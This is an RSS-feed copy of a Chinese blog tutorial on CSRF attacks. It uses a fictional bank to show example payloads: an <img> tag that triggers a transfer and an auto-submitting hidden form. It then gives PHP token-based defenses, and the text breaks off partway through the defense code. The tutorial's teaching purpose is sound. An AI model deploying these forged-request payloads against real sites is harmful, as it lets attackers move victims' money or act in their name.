﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-大话人生-随笔分类-安全性测试</title><link>http://www.cnitblog.com/stomic/category/8850.html</link><description /><language>zh-cn</language><lastBuildDate>Thu, 04 Dec 2014 09:05:56 GMT</lastBuildDate><pubDate>Thu, 04 Dec 2014 09:05:56 GMT</pubDate><ttl>60</ttl><item><title>浅谈CSRF攻击方式</title><link>http://www.cnitblog.com/stomic/archive/2014/11/28/89870.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Fri, 28 Nov 2014 05:56:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2014/11/28/89870.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/89870.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2014/11/28/89870.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/89870.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/89870.html</trackback:ping><description><![CDATA[<div><p><span style="font-size: large;"><strong>一.CSRF是什么？</strong></span></p> <p>　　CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。</p> <p><span style="font-size: large;"><strong>二.CSRF可以做什么？</strong></span></p> <p>　　你这可以这么理解CSRF攻击：<span style="color: #ff0000;">攻击者盗用了你的身份，以你的名义发送恶意请求</span>。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。</p> <p><span style="font-size: large;"><strong>三.CSRF漏洞现状</strong></span></p> <p>　　CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别 爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度HI......而 现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为&#8220;沉睡的巨人&#8221;。</p> <p><span style="font-size: large;"><strong>四.CSRF的原理</strong></span></p> <p>　　下图简单阐述了CSRF攻击的思想：</p> <p>　　<img style="width: 844px;" src="http://pic002.cnblogs.com/img/hyddd/200904/2009040916453171.jpg" height="498" width="884"  alt="" /></p> <p>　　从上图可以看出，要完成一次CSRF攻击，<span style="color: #0000ff;">受害者必须依次完成两个步骤</span>：</p> <p>　　1.<span style="color: #0000ff;">登录受信任网站A，并在本地生成Cookie</span>。</p> <p>　　2.<span style="color: #0000ff;">在不登出A的情况下，访问危险网站B</span>。</p> <p>　　看到这里，你也许会说：&#8220;<span style="color: #0000ff;">如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击</span>&#8221;。是的，确实如此，但你不能保证以下情况不会发生：</p> <p>　　1.你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。</p> <p>　　2.你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......）</p> <p>　　3.上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。</p> <p>&nbsp;</p> <p>　　上面大概地讲了一下CSRF攻击的思想，下面我将用几个例子详细说说具体的CSRF攻击，这里我以一个银行转账的操作作为例子（仅仅是例子，真实的银行网站没这么傻:&gt;）</p> <p><strong>　　<span style="font-size: medium;">示例1：</span></strong></p> <p>　　银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000</p> <p>　　危险网站B，它里面有一段HTML的代码如下：</p> <div><span style="color: #0000FF;">　　&lt;</span><span style="color: #800000;">img&nbsp;</span><span style="color: #FF0000;">src</span><span style="color: #0000FF;">=http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000</span><span style="color: #0000FF;">&gt;</span></div> <p>　　首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......</p> <p>　　为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中 的&lt;img&gt;以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏 览器会带上你的银行网站A的Cookie发出Get请求，去获取资源&#8220;http://www.mybank.com /Transfer.php?toBankId=11&amp;money=1000&#8221;，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账 操作），所以就立刻进行转账操作......</p> <p>　　<span style="font-size: medium;"><strong>示例2：</strong></span></p> <p>　　为了杜绝上面的问题，银行决定改用POST请求完成转账操作。</p> <p>　　银行网站A的WEB表单如下：　　</p> <div><span style="color: #0000FF;">　　&lt;</span><span style="color: #800000;">form&nbsp;</span><span style="color: #FF0000;">action</span><span style="color: #0000FF;">="Transfer.php"</span><span style="color: #FF0000;">&nbsp;method</span><span style="color: #0000FF;">="POST"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　&lt;</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;">ToBankId:&nbsp;</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="text"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="toBankId"</span>&nbsp;<span style="color: #0000FF;">/&gt;&lt;/</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　&lt;</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;">Money:&nbsp;</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="text"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="money"</span>&nbsp;<span style="color: #0000FF;">/&gt;&lt;/</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　&lt;</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="submit"</span><span style="color: #FF0000;">&nbsp;value</span><span style="color: #0000FF;">="</span><span style="color: #0000FF;">Transfer</span><span style="color: #0000FF;">"</span>&nbsp;<span style="color: #0000FF;">/&gt;&lt;/</span><span style="color: #800000;">p</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　&lt;/</span><span style="color: #800000;">form</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span></div> <p>　　后台处理页面Transfer.php如下：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">　　&lt;?</span><span style="color: #000000;">php<br /></span><span style="color: #008080;">　　　　session_start</span><span style="color: #000000;">();<br /></span><span style="color: #0000FF;">　　　　if</span><span style="color: #000000;">&nbsp;(</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_REQUEST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">toBankId</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">　</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_REQUEST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">money</span><span style="color: #000000;">'</span><span style="color: #000000;">]))<br />　　　　{<br />　　　　&nbsp;&nbsp;&nbsp; buy_stocks(</span><span style="color: #800080;">$_REQUEST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">toBankId</span><span style="color: #000000;">'</span><span style="color: #000000;">]</span><span style="color: #000000;">,</span><span style="color: #000000;">　</span><span style="color: #800080;">$_REQUEST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">money</span><span style="color: #000000;">'</span><span style="color: #000000;">]);<br />　　　　}<br /></span><span style="color: #000000;">　　?&gt;</span><span style="color: #000000;"><br /></span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　危险网站B，仍然只是包含那句HTML代码：</p> <div><span style="color: #000000;">　　</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">img&nbsp;</span><span style="color: #FF0000;">src</span><span style="color: #0000FF;">=http://www.mybank.com/Transfer.php?toBankId=11&amp;money=1000</span><span style="color: #0000FF;">&gt;</span></div> <p>　　和示例1中的操作一样，你首先登录了银行网站A，然后访问危险网站B，结果.....和示例1一样，你再次没了1000块～T_T，这次事故的 原因是：银行后台使用了$_REQUEST去获取请求的数据，而$_REQUEST既可以获取GET请求的数据，也可以获取POST请求的数据，这就造成 了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中，可以使用$_GET和$_POST分别获取GET请求和POST 请求的数据。在JAVA中，用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。</p> <p>　　<span style="font-size: medium;"><strong>示例3：</strong></span></p> <p>　　经过前面2个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取POST请求的数据，后台处理页面Transfer.php代码如下：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">　　</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br />　　　　</span><span style="color: #008080;">session_start</span><span style="color: #000000;">();<br />　　　　</span><span style="color: #0000FF;">if</span><span style="color: #000000;">&nbsp;(</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">toBankId</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">　</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">money</span><span style="color: #000000;">'</span><span style="color: #000000;">]))<br />　　　　{<br />　　　　&nbsp;&nbsp;&nbsp;&nbsp;buy_stocks(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">toBankId</span><span style="color: #000000;">'</span><span style="color: #000000;">]</span><span style="color: #000000;">,</span><span style="color: #000000;">　</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">money</span><span style="color: #000000;">'</span><span style="color: #000000;">]);<br />　　　　}<br />　　</span><span style="color: #000000;">?&gt;</span><span style="color: #000000;"><br /></span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　然而，危险网站B与时俱进，它改了一下代码：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">html</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　&lt;</span><span style="color: #800000;">head</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span>　　　　<span style="color: #0000FF;">&lt;</span><span style="color: #800000;">script&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="text/javascript"</span><span style="color: #0000FF;">&gt;</span><span style="background-color: #F5F5F5; color: #000000;"><br /></span><span style="background-color: #F5F5F5; color: #0000FF;">　　　　　　function</span><span style="background-color: #F5F5F5; color: #000000;">&nbsp;steal()<br />　　　　　　{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　　　 iframe&nbsp;</span><span style="background-color: #F5F5F5; color: #000000;">=</span><span style="background-color: #F5F5F5; color: #000000;">&nbsp;document.frames[</span><span style="background-color: #F5F5F5; color: #000000;">"</span><span style="background-color: #F5F5F5; color: #000000;">steal</span><span style="background-color: #F5F5F5; color: #000000;">"</span><span style="background-color: #F5F5F5; color: #000000;">];<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; iframe.document.Submit(</span><span style="background-color: #F5F5F5; color: #000000;">"</span><span style="background-color: #F5F5F5; color: #000000;">transfer</span><span style="background-color: #F5F5F5; color: #000000;">"</span><span style="background-color: #F5F5F5; color: #000000;">);<br />　　　　　　}<br /></span><span style="color: #0000FF;">　　　　&lt;/</span><span style="color: #800000;">script</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　&lt;/</span><span style="color: #800000;">head</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /><br />　　</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">body&nbsp;</span><span style="color: #FF0000;">onload</span><span style="color: #0000FF;">="steal()"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　</span><span style="color: #0000FF;">　　&lt;</span><span style="color: #800000;">iframe&nbsp;</span><span style="color: #FF0000;">name</span><span style="color: #0000FF;">="steal"</span><span style="color: #FF0000;">&nbsp;display</span><span style="color: #0000FF;">="none"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　　　&lt;</span><span style="color: #800000;">form&nbsp;</span><span style="color: #FF0000;">method</span><span style="color: #0000FF;">="POST"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="transfer"</span><span style="color: #FF0000;">　action</span><span style="color: #0000FF;">="http://www.myBank.com/Transfer.php"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br />　　　　　　　　</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="hidden"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="toBankId"</span><span style="color: #FF0000;">&nbsp;value</span><span style="color: #0000FF;">="11"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br />　　　　　　　　</span><span style="color: #0000FF;">&lt;</span><span style="color: #800000;">input&nbsp;</span><span style="color: #FF0000;">type</span><span style="color: #0000FF;">="hidden"</span><span style="color: #FF0000;">&nbsp;name</span><span style="color: #0000FF;">="money"</span><span style="color: #FF0000;">&nbsp;value</span><span style="color: #0000FF;">="1000"</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br />　　　　　　</span><span style="color: #0000FF;">&lt;/</span><span style="color: #800000;">form</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　　　&lt;/</span><span style="color: #800000;">iframe</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">　　&lt;/</span><span style="color: #800000;">body</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000FF;">&lt;/</span><span style="color: #800000;">html</span><span style="color: #0000FF;">&gt;</span><span style="color: #000000;"><br /></span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>如果用户仍是继续上面的操作，很不幸，结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!</p> <p>　　总结一下上面3个例子，CSRF主要的攻击模式基本上是以上的3种，其中以第1,2种最为严重，因为触发条件很简单，一 个&lt;img&gt;就可以了，而第3种比较麻烦，需要使用JavaScript，所以使用的机会会比前面的少很多，但无论是哪种情况，只要触发了 CSRF攻击，后果都有可能很严重。</p> <p>　　理解上面的3种攻击模式，其实可以看出，<span style="color: #ff0000;">CSRF攻击是源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的</span>！</p> <p><span style="font-size: large;"><strong>五.CSRF的防御</strong></span></p> <p>　　我总结了一下看到的资料，CSRF的防御可以从<span style="color: #3366ff;">服务端</span>和<span style="color: #3366ff;">客户端</span>两方面着手，防御效果是从服务端着手效果比较好，现在一般的CSRF防御也都在服务端进行。</p> <p>　　<span style="font-size: medium;"><strong>1.服务端进行CSRF防御</strong></span></p> <p>　　服务端的CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面<span style="color: #ff0000;">增加伪随机数</span>。</p> <p>　　(1).Cookie Hashing(所有表单都包含同一个伪随机值)：</p> <p>　　这可能是最简单的解决方案了，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败了:&gt;</p> <div><span style="color: #000000;">　　&lt;?</span><span style="color: #000000;">php<br /></span><span style="color: #008000;">　　　　//</span><span style="color: #008000;">构造加密的Cookie信息</span><span style="color: #008000;"><br /></span><span style="color: #800080;">　　　　$value</span>&nbsp;<span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;&#8220;DefenseSCRF&#8221;;<br /></span><span style="color: #008080;">　　　　setcookie</span><span style="color: #000000;">(&#8221;cookie&#8221;</span><span style="color: #000000;">,</span>&nbsp;<span style="color: #800080;">$value</span><span style="color: #000000;">,</span>&nbsp;<span style="color: #008080;">time</span><span style="color: #000000;">()</span><span style="color: #000000;">+</span><span style="color: #000000;">3600</span><span style="color: #000000;">);<br /></span><span style="color: #000000;">　　?&gt;<br /></span></div> <p>　　在表单里增加Hash值，以认证这确实是用户发送的请求。</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">　　&lt;?</span><span style="color: #000000;">php</span><span style="color: #008000;"><br /></span><span style="color: #800080;">　　　　$hash</span>&nbsp;<span style="color: #000000;">=</span>&nbsp;<span style="color: #008080;">md5</span><span style="color: #000000;">(</span><span style="color: #800080;">$_COOKIE</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">cookie</span><span style="color: #000000;">'</span><span style="color: #000000;">]);<br /></span><span style="color: #000000;">　　?&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　&lt;</span><span style="color: #000000;">form&nbsp;method</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;POST&#8221;&nbsp;action</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;transfer</span><span style="color: #000000;">.</span><span style="color: #000000;">php&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　　　&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;text&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;toBankId&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　　　&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;text&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;money&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　　　&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;hidden&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;hash&#8221;&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;</span><span style="color: #000000;">&lt;?=</span><span style="color: #800080;">$hash</span><span style="color: #000000;">;</span><span style="color: #000000;">?&gt;</span><span style="color: #000000;">&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　　　&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;submit&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;submit&#8221;&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;Submit&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #000000;">　　&lt;/</span><span style="color: #000000;">form</span><span style="color: #000000;">&gt;</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　然后在服务器端进行Hash值验证</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br /></span><span style="color: #000000;">　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: #0000FF;">if</span><span style="color: #000000;">(</span><span style="color: #0000FF;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">check</span><span style="color: #000000;">'</span><span style="color: #000000;">]))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: #800080;">$hash</span>&nbsp;<span style="color: #000000;">=</span>&nbsp;<span style="color: #008080;">md5</span><span style="color: #000000;">(</span><span style="color: #800080;">$_COOKIE</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">cookie</span><span style="color: #000000;">'</span><span style="color: #000000;">]);</span><span style="color: #008000;"><br /></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　 </span><span style="color: #0000FF;">if</span><span style="color: #000000;">(</span><span style="color: #800080;">$_POST</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">check</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">==</span>&nbsp;<span style="color: #800080;">$hash</span><span style="color: #000000;">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　 doJob();<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;</span><span style="color: #0000FF;">else</span><span style="color: #000000;">&nbsp;{<br />　　　　　　　　//...</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　 }<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;</span><span style="color: #0000FF;">else</span><span style="color: #000000;">&nbsp;{<br />　　　　　　//...</span><span style="color: #000000;"><br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">?&gt;</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　这个方法个人觉得已经可以杜绝99%的CSRF攻击了，那还有1%呢....由于用户的Cookie很容易由于网站的XSS漏洞而被盗取，这就 另外的1%。一般的攻击者看到有需要算Hash值，基本都会放弃了，某些除外，所以如果需要100%的杜绝，这个不是最好的方法。<br />　　(2).验证码</p> <p>　　这个方案的思路是：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串，厄....这个方案可以完全解决CSRF，但个人觉得在易用性方面似乎不是太好，还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug，可能在某些版本的微软IE中受影响。</p> <p>　　(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)</p> <p>　　在实现One-Time  Tokens时，需要注意一点：就是&#8220;并行会话的兼容&#8221;。如果用户在一个站点上同时打开了两个不同的表单，CSRF保护措施不应该影响到他对任何表单的提 交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况：用户只能成功地提交他最后打开的表单，因为所有其他的表单 都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。</p> <p>　　以下我的实现:</p> <p>　　1).先是令牌生成函数(gen_token())：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php</span><span style="color: #008000;"><br /></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF;">function</span><span style="color: #000000;">&nbsp;gen_token()&nbsp;{<br /></span> <span style="color: #008000;">　　　　//这里我是贪方便，实际上单使用Rand()得出的随机数作为令牌，也是不安全的。<br />　　　　//这个可以参考我写的Findbugs笔记中的<a href="http://www.cnblogs.com/hyddd/articles/1391737.html">《Random object created and used only once》</a><br /></span><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$token</span>&nbsp;<span style="color: #000000;">=</span> <span style="color: #008080;">md5</span><span style="color: #000000;">(</span><span style="color: #008080;">uniqid</span><span style="color: #000000;">(</span><span style="color: #008080;">rand</span><span style="color: #000000;">()</span><span style="color: #000000;">,</span>&nbsp;<span style="color: #0000FF;">true</span><span style="color: #000000;">));</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF;">return</span>&nbsp;<span style="color: #800080;">$token</span><span style="color: #000000;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　2).然后是Session令牌生成函数(gen_stoken())：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF;">　　function</span><span style="color: #000000;">&nbsp;gen_stoken()&nbsp;{<br /></span>　　　　　　<span style="color: #800080;">$pToken = ""</span><span style="color: #000000;">;</span><br /><span style="color: #000000;">　　　　　　if(</span><span style="color: #800080;">$_SESSION</span><span style="color: #000000;">[STOKEN_NAME]&nbsp; == </span><span style="color: #800080;">$pToken</span><span style="color: #000000;">){<br />　　　　　　　　//没有值，赋新值<br />　　　　　　</span><span style="color: #800080;">　　$_SESSION</span><span style="color: #000000;">[STOKEN_NAME]&nbsp;</span><span style="color: #000000;">=</span> <span style="color: #000000;">gen_token()</span><span style="color: #000000;">;</span><br /><span style="color: #000000;">　　　　　　}&nbsp;&nbsp;&nbsp; <br />　　　　　　else{<br />　　　　　　　　//继续使用旧的值<br />　　　　　　}</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">?&gt;</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　3).WEB表单生成隐藏输入域的函数：　　</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php<br />　　&nbsp;&nbsp;&nbsp;&nbsp; function gen_input() {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;&nbsp;&nbsp; gen_stoken();<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &#8220;&lt;input type=\&#8221;hidden\&#8221; name=\&#8221;" . FTOKEN_NAME . &#8220;\&#8221;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　　&nbsp;&nbsp;&nbsp;&nbsp; value=\&#8221;" . $_SESSION[STOKEN_NAME] . &#8220;\&#8221;&gt; &#8220;;<br />&nbsp;&nbsp;&nbsp;&nbsp; 　　}<br />&nbsp;&nbsp;&nbsp;&nbsp; ?&gt;<br /></span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　4).WEB表单结构：</p> <div><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div><span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008080;">session_start</span><span style="color: #000000;">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000FF;">include</span><span style="color: 